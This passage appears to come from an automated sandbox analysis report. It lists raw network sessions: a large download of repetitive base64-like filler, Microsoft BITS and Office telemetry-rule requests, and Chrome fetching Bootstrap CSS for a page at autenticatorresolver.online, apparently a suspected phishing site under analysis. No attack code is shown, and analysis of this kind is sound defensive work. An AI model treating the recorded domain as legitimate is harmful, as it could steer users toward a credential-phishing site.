IiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiAAAAMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIgAAADMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIAAAAzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM
2024-11-26 12:43:32 UTC	1369	IN	Data Raw: 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 67 41 41 41 44 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 41 41 41 41 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 79 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 41 41 41 41 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 69 49 69 Data Ascii: iIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIgAAADMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIAAAAzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMyIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiAAAAMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMiIi
2024-11-26 12:43:32 UTC	1369	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 56 56 56 56 56 56 56 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVVVVVVV
2024-11-26 12:43:32 UTC	1369	IN	Data Raw: 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 41 41 41 41 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 51 41 41 41 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 55 41 41 41 42 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 46 56 56 56 56 56 56 56 56 56 56 Data Ascii: VVVVVVVVVVVVVVVVVVVVVVVVVVVVVAAAARERERERERERERERERERERERERERERERERERERERERVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVQAAAEREREREREREREREREREREREREREREREREREREREREVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVUAAABERERERERERERERERERERERERERERERERERERERERFVVVVVVVVVV
2024-11-26 12:43:32 UTC	1369	IN	Data Raw: 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 51 41 41 41 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 55 41 41 41 42 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 46 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 41 41 41 41 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 56 56 56 56 56 56 56 56 56 56 56 56 56 56 Data Ascii: VVVVVVVVVVVVVVVVVVVVVVVVVQAAAEREREREREREREREREREREREREREREREREREREREREVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVUAAABERERERERERERERERERERERERERERERERERERERERFVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVAAAARERERERERERERERERERERERERERERERERERERERERVVVVVVVVVVVVVV
2024-11-26 12:43:32 UTC	1369	IN	Data Raw: 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 55 41 41 41 42 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 46 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 41 41 41 41 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 51 41 41 41 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 Data Ascii: VVVVVVVVVVVVVVVVVVVVVUAAABERERERERERERERERERERERERERERERERERERERERFVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVAAAARERERERERERERERERERERERERERERERERERERERERVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVQAAAEREREREREREREREREREREREREREREREREREREREREVVVVVVVVVVVVVVVVVV
2024-11-26 12:43:32 UTC	1369	IN	Data Raw: 41 41 41 41 41 41 41 41 42 2b 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 66 67 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 48 34 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 2b 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 66 67 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 48 34 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 2b 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 66 67 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 48 34 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 2b 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 66 67 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 48 34 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAB+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH4AAAAAAAAAAAAAAAAAAAB+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH4AAAAAAAAAAAAAAAAAAAB+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH4AAAAAAAAAAAAAAAAAAAB+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH4AAAAAAAAAA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49720	23.52.182.8	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:31 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-26 12:43:32 UTC	479	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=221804 Date: Tue, 26 Nov 2024 12:43:32 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.7	49722	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:32 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:32 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: f5d49257-301e-005d-758c-3fe448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124332Z-174f78459688l8rvhC1EWRtzr000000007y000000000aupq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:32 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.7	49723	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:32 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:32 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 30944020-a01e-0053-5e8b-3f8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124332Z-174f7845968psccphC1EWRuz9s0000000vr0000000006e2u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:32 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.7	49721	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:32 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:32 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 8ccd6c39-f01e-0085-6e81-3f88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124332Z-174f7845968pf68xhC1EWRr4h80000000vt00000000029yy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:32 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.7	49725	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:32 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:32 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 3360fb1d-601e-0097-3291-3ff33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124332Z-174f78459685m244hC1EWRgp2c0000000v8g0000000085pg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:32 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.7	49724	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:32 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:32 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 6f96f590-e01e-0099-0e7f-3fda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124332Z-174f7845968frfdmhC1EWRxxbw0000000vc000000000bu8p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:32 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	49731	151.101.193.229	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:33 UTC	629	OUT	GET /npm/bootstrap@5.0.2/dist/css/bootstrap.min.css HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://autenticatorresolver.online sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://autenticatorresolver.online/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 12:43:34 UTC	763	IN	HTTP/1.1 200 OK Connection: close Content-Length: 155845 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=31536000, s-maxage=31536000, immutable Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: text/css; charset=utf-8 X-JSD-Version: 5.0.2 X-JSD-Version-Type: version ETag: W/"260c5-fByeBXPlzqi603M74vxjqoxo6o0" Accept-Ranges: bytes Date: Tue, 26 Nov 2024 12:43:34 GMT Age: 1759091 X-Served-By: cache-fra-eddf8230097-FRA, cache-nyc-kteb1890058-NYC X-Cache: HIT, HIT Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2024-11-26 12:43:34 UTC	1378	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 2f 2a 21 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 35 2e 30 2e 32 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 31 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 31 20 54 77 69 74 74 65 72 2c 20 49 6e 63 2e 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 69 6e 2f 4c 49 43 45 4e 53 45 29 0a 20 2a 2f 3a 72 6f 6f 74 7b 2d 2d 62 73 2d 62 6c 75 65 3a 23 30 64 36 65 66 64 3b 2d Data Ascii: @charset "UTF-8";/! Bootstrap v5.0.2 (https://getbootstrap.com/) * Copyright 2011-2021 The Bootstrap Authors * Copyright 2011-2021 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) */:root{--bs-blue:#0d6efd;-
2024-11-26 12:43:34 UTC	1378	IN	Data Raw: 68 65 72 69 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 62 6f 72 64 65 72 3a 30 3b 6f 70 61 63 69 74 79 3a 2e 32 35 7d 68 72 3a 6e 6f 74 28 5b 73 69 7a 65 5d 29 7b 68 65 69 67 68 74 3a 31 70 78 7d 2e 68 31 2c 2e 68 32 2c 2e 68 33 2c 2e 68 34 2c 2e 68 35 2c 2e 68 36 2c 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 7d 2e 68 31 2c 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 63 61 6c 63 28 31 2e 33 37 35 72 65 6d 20 2b 20 31 2e 35 76 77 29 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 31 32 30 30 70 78 29 Data Ascii: herit;background-color:currentColor;border:0;opacity:.25}hr:not([size]){height:1px}.h1,.h2,.h3,.h4,.h5,.h6,h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:.5rem;font-weight:500;line-height:1.2}.h1,h1{font-size:calc(1.375rem + 1.5vw)}@media (min-width:1200px)
2024-11-26 12:43:34 UTC	1378	IN	Data Raw: 5b 63 6c 61 73 73 5d 29 2c 61 3a 6e 6f 74 28 5b 68 72 65 66 5d 29 3a 6e 6f 74 28 5b 63 6c 61 73 73 5d 29 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 63 6f 64 65 2c 6b 62 64 2c 70 72 65 2c 73 61 6d 70 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 76 61 72 28 2d 2d 62 73 2d 66 6f 6e 74 2d 6d 6f 6e 6f 73 70 61 63 65 29 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 65 6d 3b 64 69 72 65 63 74 69 6f 6e 3a 6c 74 72 3b 75 6e 69 63 6f 64 65 2d 62 69 64 69 3a 62 69 64 69 2d 6f 76 65 72 72 69 64 65 7d 70 72 65 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 6f 76 65 72 66 6c 6f 77 3a 61 75 74 6f 3b 66 6f 6e 74 Data Ascii: [class]),a:not([href]):not([class]):hover{color:inherit;text-decoration:none}code,kbd,pre,samp{font-family:var(--bs-font-monospace);font-size:1em;direction:ltr;unicode-bidi:bidi-override}pre{display:block;margin-top:0;margin-bottom:1rem;overflow:auto;font
